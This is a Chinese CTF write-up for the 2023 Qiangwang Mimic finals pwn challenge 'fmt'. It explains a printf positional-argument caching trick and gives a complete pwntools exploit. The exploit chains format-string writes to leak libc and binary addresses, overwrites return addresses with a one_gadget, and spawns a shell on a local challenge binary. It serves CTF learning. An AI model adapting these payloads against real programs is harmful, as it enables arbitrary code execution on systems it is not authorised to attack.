强网拟态2023决赛Pwn题WP

fmt

题目结构很简单,一个裸的64位非栈空间的格式化字符串,开局给了栈地址后2位,没有溢出,没有canary,退出使用_exit()来防止fini_array利用。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Gift: %x\n", (unsigned __int16)((unsigned __int16)&savedregs - 12));
  read(0, buf, 0x100uLL);
  printf(buf);
  _exit(0);
}

按照格式化字符串解题的惯例,我们需要在第一次的格式化字符串时,修改程序流,使得实现多次格式化字符串利用。

然而这里并没有exit(0)函数可以利用,只有_exit(0),这样会直接syscall退出程序,并不能走fini_array

这里要利用到格式化字符串的一个小技巧

格式化字符串冷知识

格式化字符串时,使用$时会使得printf函数记录相关地址信息(未查询到相关文档),这使得我们不能在一次printf利用中做到对同一个地址的修改+利用

如栈空间上有以下结构

  1. XXX
  2. YYY
  3. ZZZ
  4. QQQ
  5. A → B → C
  6. B → C
  7. C
  8. D

如果我们使用类似%xxxc%6$hhn%6$p的payload,意图将第二个参数B地址中的值改为D后并打印B中的值(希望打印D)

实际上第一步确实可以修改成功,可以得到 6. B → D ,然而随后的%2$p依然会打印C,这是因为在第一次使用$时就是C

如果我们需要达成目标,则需要类似%c%c%c%c%{xxx-4}c%hhn%6$p这样的payload,运行的结果将会打印D出来。

相关参考题目 https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/

回到题目

有了以上思路后,题目就简单多了,我们可以一次利用链式修改printf函数返回地址并泄露地址,之后将main函数的返回地址__libc_start_main+243一步步链式修改为one_gadget,之后将printf返回地址改为类似pop r13;pop r14;pop r15;ret即可.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch="amd64")

# context.log_level = "debug"

local = 1
_elf = "./fmt"
_addr = ""
_port = 0
_libc = "/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"


def getConn():
    if local == 1:
        # return process(_elf)
        return process(
            [
                "/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-linux-x86-64.so.2",
                _elf,
            ],
            env={
                "LD_PRELOAD": "/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6 "
            },
        )
    else:
        return remote(_addr, _port)


def debug(p, cmd=None):
    if local == 1:
        gdb.attach(p, cmd)
    pause()


elf = ELF(_elf)
libc = ELF(_libc)


p = getConn()

p.recvuntil(b"Gift: ")
gift = p.recv(4)
gift = int(gift, base=16)
log.info(hex(gift))

ret_addr = gift + 0xC + 0x8
printf_ret_addr = ret_addr - 0x20
log.info("ret_addr ->" + hex(ret_addr))
log.info("printf_ret_addr ->" + hex(printf_ret_addr))

ogg = [
    348041, 348053, 348074, 348082, 553667, 553680, 553692, 553705, 944878, 944881, 944884, 945379, 945382, 945497, 945504, 945573, 945581, 1090970, 1090978, 1090983, 1090993
]
payload1 = f"%c%c%c%c%c%c%c%c%c%{printf_ret_addr-9}c%hn"

payload2 = f"%{(0x23-printf_ret_addr+0x10000)%0x100}c%38$hhn"

payload4 = f"#%9$p#%13$p#"

payload = payload1 + payload2 + payload4
debug(p, "b printf\nc")

p.send(payload.ljust(0x100, "\0"))
sleep(0.1)
p.recvuntil(b"#0x")
libc_base = int(p.recv(12), 16) - 243 - libc.sym["__libc_start_main"]
log.info(hex(libc_base))
p.recvuntil(b"#0x")
elf_base = int(p.recv(12), 16) - 0x11A9
log.info(hex(elf_base))

ogg = libc_base + ogg[1]
log.info("one_gadget ->" + hex(ogg))
pop_13_14_15_ret = 0x12BE + elf_base

for i in range(3):
    content = (ogg >> (i * 8)) & 0xFF
    log.info(hex(content))
    payload5 = f"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%{0x23-36+0x100}c%hhn"
    payload6 = f"%{(ret_addr+i-0x123)}c%25$hn#"
    payload7 = f"%{(content-0x23+0x100)%0x100}c%40$hhn#"

    p.sendafter("#", (payload5 + payload6).ljust(0x100, "\0"))
    p.sendafter("#", (payload5 + payload7).ljust(0x100, "\0"))

payload8 = f"%{pop_13_14_15_ret&0xffff}c%38$hn".ljust(0x100, "\0")
p.sendafter("#", payload8)
p.interactive()